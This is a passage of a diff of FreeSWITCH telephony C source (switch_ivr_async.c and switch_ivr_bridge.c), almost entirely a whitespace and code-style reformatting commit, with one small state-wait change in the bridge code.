+ cb = switch_core_session_alloc(session, sizeof(*cb));
}
@@ -1198,8 +1197,8 @@
mydata = strdup(cmds);
argc = switch_separate_string(mydata, ',', argv, (sizeof(argv) / sizeof(argv[0])));
-
- for(i = 0; i < argc; i++) {
+
+ for (i = 0; i < argc; i++) {
char *var = argv[i];
char *val = NULL;
char rw;
@@ -1213,12 +1212,12 @@
if (var) {
if ((val = strchr(var, '='))) {
*val++ = '\0';
-
+
rw = *var++;
- while(*var == '.' || *var == '_') {
+ while (*var == '.' || *var == '_') {
var++;
}
-
+
if (rw == 'r') {
if (!cb->read_st) {
cb->read_st = speex_preprocess_state_init(read_impl.samples_per_packet, read_impl.samples_per_second);
@@ -1237,8 +1236,9 @@
mutex = cb->write_mutex;
}
- if (mutex) switch_mutex_lock(mutex);
-
+ if (mutex)
+ switch_mutex_lock(mutex);
+
if (st) {
err = 0;
tr = switch_true(val);
@@ -1258,7 +1258,8 @@
int db = atoi(val);
if (db < 0) {
r = speex_preprocess_ctl(st, SPEEX_PREPROCESS_SET_NOISE_SUPPRESS, &db);
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Setting NOISE_SUPPRESS on %c to %d [%d]\n", rw, db, r);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Setting NOISE_SUPPRESS on %c to %d [%d]\n", rw, db,
+ r);
} else {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Syntax error noise_suppress should be in -db\n");
}
@@ -1278,10 +1279,10 @@
cb->write_ec = NULL;
}
}
-
+
ec = NULL;
}
-
+
if (!ec) {
if (rw == 'r') {
ec = cb->read_ec = speex_echo_state_init(read_impl.samples_per_packet, tail);
@@ -1300,7 +1301,8 @@
int db = atoi(val);
if (db < 0) {
speex_preprocess_ctl(st, SPEEX_PREPROCESS_SET_ECHO_SUPPRESS, &db);
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Setting ECHO_SUPPRESS on %c to %d [%d]\n", rw, db, r);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Setting ECHO_SUPPRESS on %c to %d [%d]\n", rw, db,
+ r);
} else {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Syntax error echo_suppress should be in -db\n");
}
@@ -1310,7 +1312,8 @@
}
}
- if (mutex) switch_mutex_unlock(mutex);
+ if (mutex)
+ switch_mutex_unlock(mutex);
if (err) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Syntax error parsing preprocessor commands\n");
@@ -1334,7 +1337,7 @@
if (cb->read_st) {
speex_preprocess_state_destroy(cb->read_st);
}
-
+
if (cb->write_st) {
speex_preprocess_state_destroy(cb->write_st);
}
@@ -1342,11 +1345,11 @@
if (cb->read_ec) {
speex_echo_state_destroy(cb->read_ec);
}
-
+
if (cb->write_ec) {
speex_echo_state_destroy(cb->write_ec);
}
-
+
return status;
}
@@ -1371,7 +1374,7 @@
switch_frame_t *frame = NULL;
int level = 0, mute = 0;
-
+
if (type == SWITCH_ABC_TYPE_READ_REPLACE || type == SWITCH_ABC_TYPE_WRITE_REPLACE) {
if (!(pvt->read_level || pvt->write_level || pvt->read_mute || pvt->write_mute)) {
switch_channel_set_private(switch_core_session_get_channel(pvt->session), "__audio", NULL);
@@ -1399,7 +1402,7 @@
} else if (level) {
switch_change_sln_volume(frame->data, frame->datalen / 2, level);
}
-
+
if (type == SWITCH_ABC_TYPE_READ_REPLACE) {
switch_core_media_bug_set_read_replace_frame(bug, frame);
} else if (type == SWITCH_ABC_TYPE_WRITE_REPLACE) {
@@ -1429,14 +1432,14 @@
switch_media_bug_t *bug;
switch_status_t status;
switch_session_audio_t *pvt;
- switch_codec_implementation_t read_impl = {0};
+ switch_codec_implementation_t read_impl = { 0 };
int existing = 0, c_read = 0, c_write = 0, flags = 0;
-
+
if (switch_channel_pre_answer(channel) != SWITCH_STATUS_SUCCESS) {
return SWITCH_STATUS_FALSE;
}
- switch_core_session_get_read_impl(session, &read_impl);
+ switch_core_session_get_read_impl(session, &read_impl);
if ((bug = switch_channel_get_private(channel, "__audio"))) {
@@ -1449,15 +1452,15 @@
pvt->session = session;
}
-
+
if (!strcasecmp(direction, "write")) {
flags = SMBF_WRITE_REPLACE;
c_write = 1;
- } else if (!strcasecmp(direction, "read")){
+ } else if (!strcasecmp(direction, "read")) {
flags = SMBF_READ_REPLACE;
c_read = 1;
- } else if (!strcasecmp(direction, "both")){
+ } else if (!strcasecmp(direction, "both")) {
flags = SMBF_READ_REPLACE | SMBF_WRITE_REPLACE;
c_read = c_write = 1;
}
@@ -1482,10 +1485,10 @@
}
}
}
-
+
if (existing) {
switch_core_media_bug_set_flag(bug, flags);
-
+
} else {
if ((status = switch_core_media_bug_add(session, session_audio_callback, pvt, 0, flags, &bug)) != SWITCH_STATUS_SUCCESS) {
return status;
@@ -1529,7 +1532,8 @@
switch_channel_queue_dtmf(channel, &dtmf);
p++;
}
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(bug)), SWITCH_LOG_DEBUG, "DTMF DETECTED: [%s]\n", digit_str);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(bug)), SWITCH_LOG_DEBUG, "DTMF DETECTED: [%s]\n",
+ digit_str);
}
switch_core_media_bug_set_read_replace_frame(bug, frame);
}
@@ -1561,9 +1565,9 @@
switch_media_bug_t *bug;
switch_status_t status;
switch_inband_dtmf_t *pvt;
- switch_codec_implementation_t read_impl = {0};
+ switch_codec_implementation_t read_impl = { 0 };
- switch_core_session_get_read_impl(session, &read_impl);
+ switch_core_session_get_read_impl(session, &read_impl);
if (!(pvt = switch_core_session_alloc(session, sizeof(*pvt)))) {
return SWITCH_STATUS_MEMERR;
@@ -1650,8 +1654,8 @@
{
switch_inband_dtmf_generate_t *pvt = (switch_inband_dtmf_generate_t *) user_data;
switch_frame_t *frame;
- switch_codec_implementation_t read_impl = {0};
- switch_core_session_get_read_impl(pvt->session, &read_impl);
+ switch_codec_implementation_t read_impl = { 0 };
+ switch_core_session_get_read_impl(pvt->session, &read_impl);
switch (type) {
case SWITCH_ABC_TYPE_INIT:
@@ -1706,7 +1710,7 @@
buf[0] = dtmf->digit;
if (duration > 8000) {
duration = 4000;
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(bug)),
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(bug)),
SWITCH_LOG_WARNING, "%s Truncating ridiculous DTMF duration %d ms to 1/2 second.\n",
switch_channel_get_name(switch_core_session_get_channel(pvt->session)), dtmf->duration / 8);
}
@@ -1838,7 +1842,7 @@
} else {
frame = switch_core_media_bug_get_write_replace_frame(bug);
}
-
+
for (i = 0; i < cont->index; i++) {
if (cont->list[i].sleep) {
@@ -1856,31 +1860,35 @@
cont->list[i].expires = 0;
}
}
-
- if (!cont->list[i].up) skip = 1;
-
- if (skip) return SWITCH_TRUE;
+ if (!cont->list[i].up)
+ skip = 1;
+
+ if (skip)
+ return SWITCH_TRUE;
+
if (teletone_multi_tone_detect(&cont->list[i].mt, frame->data, frame->samples)) {
switch_event_t *event;
cont->list[i].hits++;
-
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(bug)), SWITCH_LOG_DEBUG, "TONE %s HIT %d/%d\n",
+
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(bug)), SWITCH_LOG_DEBUG, "TONE %s HIT %d/%d\n",
cont->list[i].key, cont->list[i].hits, cont->list[i].total_hits);
cont->list[i].sleep = cont->list[i].default_sleep;
cont->list[i].expires = cont->list[i].default_expires;
-
+
if (cont->list[i].hits >= cont->list[i].total_hits) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(bug)), SWITCH_LOG_DEBUG, "TONE %s DETECTED\n", cont->list[i].key);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(bug)), SWITCH_LOG_DEBUG, "TONE %s DETECTED\n",
+ cont->list[i].key);
cont->list[i].up = 0;
-
+
if (cont->list[i].callback) {
if ((rval = cont->list[i].callback(cont->session, cont->list[i].app, cont->list[i].data)) == SWITCH_TRUE) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(bug)), SWITCH_LOG_DEBUG, "Re-enabling %s\n", cont->list[i].key);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(bug)), SWITCH_LOG_DEBUG, "Re-enabling %s\n",
+ cont->list[i].key);
cont->list[i].up = 1;
cont->list[i].hits = 0;
cont->list[i].sleep = 0;
- cont->list[i].expires = 0;
+ cont->list[i].expires = 0;
}
} else if (cont->list[i].app) {
if (switch_event_create(&event, SWITCH_EVENT_COMMAND) == SWITCH_STATUS_SUCCESS) {
@@ -1895,17 +1903,18 @@
if (cont->list[i].once) {
rval = SWITCH_FALSE;
}
-
+
if (switch_event_create(&event, SWITCH_EVENT_DETECTED_TONE) == SWITCH_STATUS_SUCCESS) {
switch_event_t *dup;
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Detected-Tone", cont->list[i].key);
-
+
if (switch_event_dup(&dup, event) == SWITCH_STATUS_SUCCESS) {
switch_event_fire(&dup);
}
if (switch_core_session_queue_event(cont->session, &event) != SWITCH_STATUS_SUCCESS) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(bug)), SWITCH_LOG_ERROR, "Event queue failed!\n");
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(bug)), SWITCH_LOG_ERROR,
+ "Event queue failed!\n");
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "delivery-failure", "true");
switch_event_fire(&event);
}
@@ -1946,10 +1955,8 @@
SWITCH_DECLARE(switch_status_t) switch_ivr_tone_detect_session(switch_core_session_t *session,
const char *key, const char *tone_spec,
- const char *flags, time_t timeout,
- int hits,
- const char *app, const char *data,
- switch_tone_detect_callback_t callback)
+ const char *flags, time_t timeout,
+ int hits, const char *app, const char *data, switch_tone_detect_callback_t callback)
{
switch_channel_t *channel = switch_core_session_get_channel(session);
switch_status_t status;
@@ -1958,10 +1965,10 @@
int i = 0, ok = 0;
switch_media_bug_flag_t bflags = 0;
const char *var;
- switch_codec_implementation_t read_impl = {0};
- switch_core_session_get_read_impl(session, &read_impl);
+ switch_codec_implementation_t read_impl = { 0 };
+ switch_core_session_get_read_impl(session, &read_impl);
-
+
if (zstr(key)) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "No Key Specified!\n");
return SWITCH_STATUS_FALSE;
@@ -2013,7 +2020,7 @@
}
} while (next);
cont->list[cont->index].map.freqs[i++] = 0;
-
+
if (!ok) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Invalid tone spec!\n");
return SWITCH_STATUS_FALSE;
@@ -2031,7 +2038,8 @@
cont->list[cont->index].callback = callback;
- if (!hits) hits = 1;
+ if (!hits)
+ hits = 1;
cont->list[cont->index].hits = 0;
cont->list[cont->index].total_hits = hits;
@@ -2070,14 +2078,14 @@
if (strchr(flags, 'o')) {
cont->list[cont->index].once = 1;
}
-
+
if (strchr(flags, 'r')) {
bflags |= SMBF_READ_REPLACE;
} else if (strchr(flags, 'w')) {
bflags |= SMBF_WRITE_REPLACE;
}
}
-
+
if (cont->bug_running) {
status = SWITCH_STATUS_SUCCESS;
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s bug already running\n", switch_channel_get_name(channel));
@@ -2141,17 +2149,17 @@
switch_threadattr_t *thd_attr = NULL;
switch_memory_pool_t *pool;
bch_t *bch;
-
+
switch_assert(session);
pool = switch_core_session_get_pool(session);
-
+
bch = switch_core_session_alloc(session, sizeof(*bch));
bch->session = session;
bch->app = app;
bch->flags = flags;
-
-
+
+
switch_threadattr_create(&thd_attr, pool);
switch_threadattr_detach_set(thd_attr, 1);
switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
@@ -2180,7 +2188,8 @@
if (md->sr[direction].meta_on && now - md->sr[direction].last_digit > 5) {
md->sr[direction].meta_on = SWITCH_FALSE;
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "%s Meta digit timeout parsing %c\n", switch_channel_get_name(channel), dtmf->digit);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "%s Meta digit timeout parsing %c\n", switch_channel_get_name(channel),
+ dtmf->digit);
return SWITCH_STATUS_SUCCESS;
}
@@ -2210,7 +2219,7 @@
if (ok && md->sr[direction].map[dval].app) {
uint32_t flags = md->sr[direction].map[dval].flags;
-
+
if ((md->sr[direction].map[dval].bind_flags & SBF_EXEC_OPPOSITE)) {
if (direction == SWITCH_DTMF_SEND) {
flags |= SMF_ECHO_ALEG;
@@ -2234,7 +2243,7 @@
if ((md->sr[direction].map[dval].bind_flags & SBF_EXEC_INLINE)) {
flags |= SMF_EXEC_INLINE;
}
-
+
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s Processing meta digit '%c' [%s]\n",
switch_channel_get_name(channel), dtmf->digit, md->sr[direction].map[dval].app);
@@ -2266,15 +2275,15 @@
SWITCH_DECLARE(switch_status_t) switch_ivr_unbind_dtmf_meta_session(switch_core_session_t *session, uint32_t key)
{
switch_channel_t *channel = switch_core_session_get_channel(session);
-
+
if (key) {
dtmf_meta_data_t *md = switch_channel_get_private(channel, SWITCH_META_VAR_KEY);
-
+
if (!md || key > 9) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Invalid key %u\n", key);
return SWITCH_STATUS_FALSE;
}
-
+
memset(&md->sr[SWITCH_DTMF_RECV].map[key], 0, sizeof(md->sr[SWITCH_DTMF_RECV].map[key]));
memset(&md->sr[SWITCH_DTMF_SEND].map[key], 0, sizeof(md->sr[SWITCH_DTMF_SEND].map[key]));
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "UnBound A-Leg: %d\n", key);
@@ -2311,7 +2320,7 @@
md->sr[SWITCH_DTMF_RECV].map[key].app = switch_core_session_strdup(session, app);
md->sr[SWITCH_DTMF_RECV].map[key].flags |= SMF_HOLD_BLEG;
md->sr[SWITCH_DTMF_RECV].map[key].bind_flags = bind_flags;
-
+
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Bound A-Leg: %d %s\n", key, app);
}
if ((bind_flags & SBF_DIAL_BLEG)) {
@@ -2390,14 +2399,14 @@
if ((p = switch_stristr("<input>", xmlstr))) {
p += 7;
}
-
- while(p && *p) {
+
+ while (p && *p) {
char c;
if (*p == '<') {
break;
}
-
+
if (!strncasecmp(p, "pound", 5)) {
c = '#';
p += 5;
@@ -2414,15 +2423,15 @@
c = *p;
p++;
}
-
+
if (is_dtmf(c)) {
switch_dtmf_t dtmf;
dtmf.digit = c;
dtmf.duration = switch_core_default_dtmf_duration(0);
switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(channel), SWITCH_LOG_DEBUG, "Queue speech detected dtmf %c\n", c);
- switch_channel_queue_dtmf(channel, &dtmf);
+ switch_channel_queue_dtmf(channel, &dtmf);
}
-
+
}
switch_ivr_resume_detect_speech(sth->session);
}
@@ -2598,10 +2607,10 @@
switch_status_t status;
switch_asr_flag_t flags = SWITCH_ASR_FLAG_NONE;
struct speech_thread_handle *sth = switch_channel_get_private(channel, SWITCH_SPEECH_KEY);
- switch_codec_implementation_t read_impl = {0};
+ switch_codec_implementation_t read_impl = { 0 };
const char *p;
switch_core_session_get_read_impl(session, &read_impl);
-
+
if (!ah) {
if (!(ah = switch_core_session_alloc(session, sizeof(*ah)))) {
return SWITCH_STATUS_MEMERR;
@@ -2623,10 +2632,10 @@
}
if ((status = switch_core_asr_open(ah,
- mod_name,
- "L16",
- read_impl.actual_samples_per_second, dest, &flags,
- switch_core_session_get_pool(session))) == SWITCH_STATUS_SUCCESS) {
+ mod_name,
+ "L16",
+ read_impl.actual_samples_per_second, dest, &flags,
+ switch_core_session_get_pool(session))) == SWITCH_STATUS_SUCCESS) {
if (switch_core_asr_load_grammar(ah, grammar, name) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Error loading Grammar\n");
@@ -2864,7 +2873,7 @@
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, (flags & SMF_PRIORITY) ? "event-lock-pri" : "event-lock", "true");
switch_event_add_header(event, SWITCH_STACK_BOTTOM, "lead-frames", "%d", 5);
-
+
if ((flags & SMF_LOOP)) {
switch_event_add_header(event, SWITCH_STACK_BOTTOM, "loops", "%d", -1);
}
@@ -2872,11 +2881,11 @@
if ((flags & SMF_HOLD_BLEG)) {
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "hold-bleg", "true");
}
-
+
switch_core_session_queue_private_event(other_session, &event, (flags & SMF_PRIORITY));
}
}
-
+
switch_core_session_rwunlock(other_session);
master = other_session;
other_session = NULL;
@@ -2897,7 +2906,7 @@
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "execute-app-arg", path);
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, (flags & SMF_PRIORITY) ? "event-lock-pri" : "event-lock", "true");
switch_event_add_header(event, SWITCH_STACK_BOTTOM, "lead-frames", "%d", 5);
-
+
if ((flags & SMF_LOOP)) {
switch_event_add_header(event, SWITCH_STACK_BOTTOM, "loops", "%d", -1);
}
@@ -2907,7 +2916,8 @@
switch_core_session_queue_private_event(session, &event, (flags & SMF_PRIORITY));
- if (nomedia) switch_channel_set_flag(channel, CF_BROADCAST_DROP_MEDIA);
+ if (nomedia)
+ switch_channel_set_flag(channel, CF_BROADCAST_DROP_MEDIA);
}
}
master = session;
Modified: freeswitch/trunk/src/switch_ivr_bridge.c (16578 => 16579)
--- freeswitch/trunk/src/switch_ivr_bridge.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_ivr_bridge.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -68,11 +68,10 @@
}
}
-
- switch_core_session_kill_channel(vh->session_b, SWITCH_SIG_BREAK);
+
+ switch_core_session_kill_channel(vh->session_b, SWITCH_SIG_BREAK);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s video thread ended.\n", switch_channel_get_name(channel));
-
vh->up = 0;
return NULL;
}
@@ -90,7 +89,8 @@
#endif
-static void send_display(switch_core_session_t *session, switch_core_session_t *peer_session) {
+static void send_display(switch_core_session_t *session, switch_core_session_t *peer_session)
+{
switch_core_session_message_t *msg;
switch_caller_profile_t *caller_profile;
@@ -103,7 +103,7 @@
if (switch_channel_direction(caller_channel) == SWITCH_CALL_DIRECTION_OUTBOUND) {
name = caller_profile->callee_id_name;
number = caller_profile->callee_id_number;
-
+
if (zstr(name)) {
name = caller_profile->destination_number;
}
@@ -113,7 +113,7 @@
} else {
name = caller_profile->caller_id_name;
number = caller_profile->caller_id_number;
-
+
if (zstr(name)) {
name = caller_profile->destination_number;
}
@@ -123,10 +123,10 @@
}
if ((p = strrchr(number, '/'))) {
- number = p+1;
+ number = p + 1;
}
if ((p = strrchr(name, '/'))) {
- name = p+1;
+ name = p + 1;
}
msg = switch_core_session_alloc(peer_session, sizeof(*msg));
@@ -175,13 +175,13 @@
int inner_bridge = 0;
switch_codec_t silence_codec = { 0 };
switch_frame_t silence_frame = { 0 };
- int16_t silence_data[SWITCH_RECOMMENDED_BUFFER_SIZE/2] = { 0 };
+ int16_t silence_data[SWITCH_RECOMMENDED_BUFFER_SIZE / 2] = { 0 };
const char *silence_var;
int silence_val = 0, bypass_media_after_bridge = 0;
const char *bridge_answer_timeout = NULL;
int answer_timeout, sent_update = 0;
time_t answer_limit = 0;
-
+
#ifdef SWITCH_VIDEO_IN_THREADS
switch_thread_t *vid_thread = NULL;
struct vid_helper vh = { 0 };
@@ -193,7 +193,7 @@
if (!(session_b = switch_core_session_locate(data->b_uuid))) {
return NULL;
}
-
+
input_callback = data->input_callback;
user_data = data->session_data;
stream_id = data->stream_id;
@@ -212,7 +212,7 @@
}
inner_bridge = switch_channel_test_flag(chan_a, CF_INNER_BRIDGE);
-
+
if (!switch_channel_test_flag(chan_a, CF_ANSWERED) && (bridge_answer_timeout = switch_channel_get_variable(chan_a, "bridge_answer_timeout"))) {
if ((answer_timeout = atoi(bridge_answer_timeout)) < 0) {
answer_timeout = 0;
@@ -220,14 +220,14 @@
answer_limit = switch_epoch_time_now(NULL) + answer_timeout;
}
}
-
+
switch_channel_set_flag(chan_a, CF_BRIDGED);
switch_channel_wait_for_flag(chan_b, CF_BRIDGED, SWITCH_TRUE, 10000, chan_a);
if (!switch_channel_test_flag(chan_b, CF_BRIDGED)) {
- if (!(switch_channel_test_flag(chan_b, CF_TRANSFER) || switch_channel_test_flag(chan_b, CF_REDIRECT)
+ if (!(switch_channel_test_flag(chan_b, CF_TRANSFER) || switch_channel_test_flag(chan_b, CF_REDIRECT)
|| switch_channel_get_state(chan_b) == CS_RESET)) {
switch_channel_hangup(chan_b, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
}
@@ -241,8 +241,8 @@
}
}
- if ((silence_var = switch_channel_get_variable(chan_a, "bridge_generate_comfort_noise"))) {
- switch_codec_implementation_t read_impl = {0};
+ if ((silence_var = switch_channel_get_variable(chan_a, "bridge_generate_comfort_noise"))) {
+ switch_codec_implementation_t read_impl = { 0 };
switch_core_session_get_read_impl(session_a, &read_impl);
if (!switch_channel_media_ready(chan_a)) {
@@ -261,17 +261,17 @@
if (silence_val) {
if (switch_core_codec_init(&silence_codec,
"L16",
- NULL,
- read_impl.actual_samples_per_second,
+ NULL,
+ read_impl.actual_samples_per_second,
read_impl.microseconds_per_packet / 1000,
1,
- SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE,
- NULL,
- switch_core_session_get_pool(session_a)) != SWITCH_STATUS_SUCCESS) {
-
+ SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE,
+ NULL, switch_core_session_get_pool(session_a)) != SWITCH_STATUS_SUCCESS) {
+
silence_val = 0;
} else {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Setup generated silence from %s to %s at %d\n", switch_channel_get_name(chan_a), switch_channel_get_name(chan_b), silence_val);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Setup generated silence from %s to %s at %d\n", switch_channel_get_name(chan_a),
+ switch_channel_get_name(chan_b), silence_val);
silence_frame.codec = &silence_codec;
silence_frame.data = silence_data;
silence_frame.buflen = sizeof(silence_data);
@@ -280,7 +280,7 @@
}
}
}
-
+
for (;;) {
switch_channel_state_t b_state;
switch_status_t status;
@@ -341,14 +341,14 @@
}
#endif
- if (loop_count > DEFAULT_LEAD_FRAMES && switch_channel_media_ack(chan_a) &&
- (bypass_media_after_bridge || switch_channel_test_flag(chan_a, CF_BYPASS_MEDIA_AFTER_BRIDGE)) && switch_channel_test_flag(chan_a, CF_ANSWERED) &&
- switch_channel_test_flag(chan_b, CF_ANSWERED)) {
+ if (loop_count > DEFAULT_LEAD_FRAMES && switch_channel_media_ack(chan_a) &&
+ (bypass_media_after_bridge || switch_channel_test_flag(chan_a, CF_BYPASS_MEDIA_AFTER_BRIDGE)) && switch_channel_test_flag(chan_a, CF_ANSWERED)
+ && switch_channel_test_flag(chan_b, CF_ANSWERED)) {
switch_ivr_nomedia(switch_core_session_get_uuid(session_a), SMF_REBRIDGE);
bypass_media_after_bridge = 0;
switch_channel_clear_flag(chan_a, CF_BYPASS_MEDIA_AFTER_BRIDGE);
}
-
+
/* if 1 channel has DTMF pass it to the other */
while (switch_channel_has_dtmf(chan_a)) {
switch_dtmf_t dtmf = { 0, 0 };
@@ -413,7 +413,7 @@
if (ans_a != ans_b) {
switch_channel_t *un = ans_a ? chan_b : chan_a;
-
+
if (!switch_channel_test_flag(un, CF_OUTBOUND)) {
switch_channel_pass_callee_id(un == chan_b ? chan_a : chan_b, un);
if (switch_channel_answer(un) != SWITCH_STATUS_SUCCESS) {
@@ -422,14 +422,16 @@
}
}
- if (ans_a) ans_b = 1; else ans_a = 1;
+ if (ans_a)
+ ans_b = 1;
+ else
+ ans_a = 1;
}
-
+
if (originator && !sent_update && ans_a && ans_b && switch_channel_media_ack(chan_a) && switch_channel_media_ack(chan_b)) {
switch_ivr_bridge_display(session_a, session_b);
sent_update = 1;
}
-
#ifndef SWITCH_VIDEO_IN_THREADS
if (switch_channel_test_flag(chan_a, CF_VIDEO) && switch_channel_test_flag(chan_b, CF_VIDEO)) {
/* read video from 1 channel and write it to the other */
@@ -455,15 +457,15 @@
continue;
}
}
-
+
if (data->skip_frames) {
data->skip_frames--;
continue;
}
-
+
if (status != SWITCH_STATUS_BREAK && !switch_channel_test_flag(chan_a, CF_HOLD)) {
if (switch_core_session_write_frame(session_b, read_frame, SWITCH_IO_FLAG_NONE, stream_id) != SWITCH_STATUS_SUCCESS) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
"%s ending bridge by request from write function\n", switch_channel_get_name(chan_b));
goto end_of_bridge_loop;
}
@@ -474,7 +476,7 @@
}
}
- end_of_bridge_loop:
+ end_of_bridge_loop:
#ifdef SWITCH_VIDEO_IN_THREADS
if (vid_thread) {
@@ -563,7 +565,7 @@
const char *ext = switch_channel_get_variable(chan_a, "hold_hangup_xfer_exten");
switch_channel_stop_broadcast(chan_b);
-
+
if (zstr(ext)) {
switch_call_cause_t cause = switch_channel_get_cause(chan_b);
if (cause == SWITCH_CAUSE_NONE) {
@@ -619,19 +621,19 @@
switch_channel_clear_state_handler(channel, &audio_bridge_peer_state_handlers);
state = switch_channel_get_state(channel);
-
+
if (state < CS_HANGUP && switch_true(switch_channel_get_variable(channel, SWITCH_PARK_AFTER_BRIDGE_VARIABLE))) {
switch_ivr_park_session(session);
} else if (state < CS_HANGUP && (var = switch_channel_get_variable(channel, SWITCH_TRANSFER_AFTER_BRIDGE_VARIABLE))) {
transfer_after_bridge(session, var);
} else {
- if (!switch_channel_test_flag(channel, CF_TRANSFER) && !switch_channel_test_flag(channel, CF_REDIRECT) &&
- !switch_channel_test_flag(channel, CF_XFER_ZOMBIE) && bd && !bd->clean_exit
+ if (!switch_channel_test_flag(channel, CF_TRANSFER) && !switch_channel_test_flag(channel, CF_REDIRECT) &&
+ !switch_channel_test_flag(channel, CF_XFER_ZOMBIE) && bd && !bd->clean_exit
&& state != CS_PARK && state != CS_ROUTING && state != CS_EXCHANGE_MEDIA && !switch_channel_test_flag(channel, CF_INNER_BRIDGE)) {
switch_channel_hangup(channel, SWITCH_CAUSE_NORMAL_CLEARING);
}
}
-
+
if (switch_channel_get_state(channel) == CS_EXCHANGE_MEDIA) {
switch_channel_set_variable(channel, "park_timeout", "3");
switch_channel_set_state(channel, CS_PARK);
@@ -724,7 +726,7 @@
}
switch_channel_clear_flag_recursive(channel, CF_BRIDGE_ORIGINATOR);
-
+
if ((other_uuid = switch_channel_get_variable(channel, SWITCH_UUID_BRIDGE)) && (other_session = switch_core_session_locate(other_uuid))) {
switch_channel_t *other_channel = switch_core_session_get_channel(other_session);
switch_event_t *event;
@@ -737,10 +739,9 @@
if (switch_channel_get_state(other_channel) == CS_RESET) {
switch_channel_set_state(other_channel, CS_SOFT_EXECUTE);
+ switch_channel_wait_for_state(other_channel, channel, CS_SOFT_EXECUTE);
}
- switch_channel_wait_for_state(other_channel, channel, CS_SOFT_EXECUTE);
-
switch_core_session_reset(session, SWITCH_TRUE, SWITCH_TRUE);
if (switch_ivr_wait_for_answer(session, other_session) != SWITCH_STATUS_SUCCESS) {
@@ -785,11 +786,10 @@
}
switch_ivr_multi_threaded_bridge(session, other_session, NULL, NULL, NULL);
-
+
state = switch_channel_get_state(channel);
- if (!switch_channel_test_flag(channel, CF_TRANSFER) &&
- !switch_channel_test_flag(channel, CF_REDIRECT) && state < CS_HANGUP
- && state != CS_ROUTING && state != CS_PARK) {
+ if (!switch_channel_test_flag(channel, CF_TRANSFER) &&
+ !switch_channel_test_flag(channel, CF_REDIRECT) && state < CS_HANGUP && state != CS_ROUTING && state != CS_PARK) {
switch_channel_set_state(channel, CS_EXECUTE);
}
switch_core_session_rwunlock(other_session);
@@ -809,7 +809,7 @@
channel = switch_core_session_get_channel(session);
switch_assert(channel != NULL);
-
+
if ((key = (char *) switch_channel_get_private(channel, "__bridge_term_key")) && dtmf->digit == *key) {
const char *uuid;
switch_core_session_t *other_session;
@@ -825,10 +825,10 @@
return SWITCH_STATUS_SUCCESS;
}
}
-
+
return SWITCH_STATUS_FALSE;
}
-
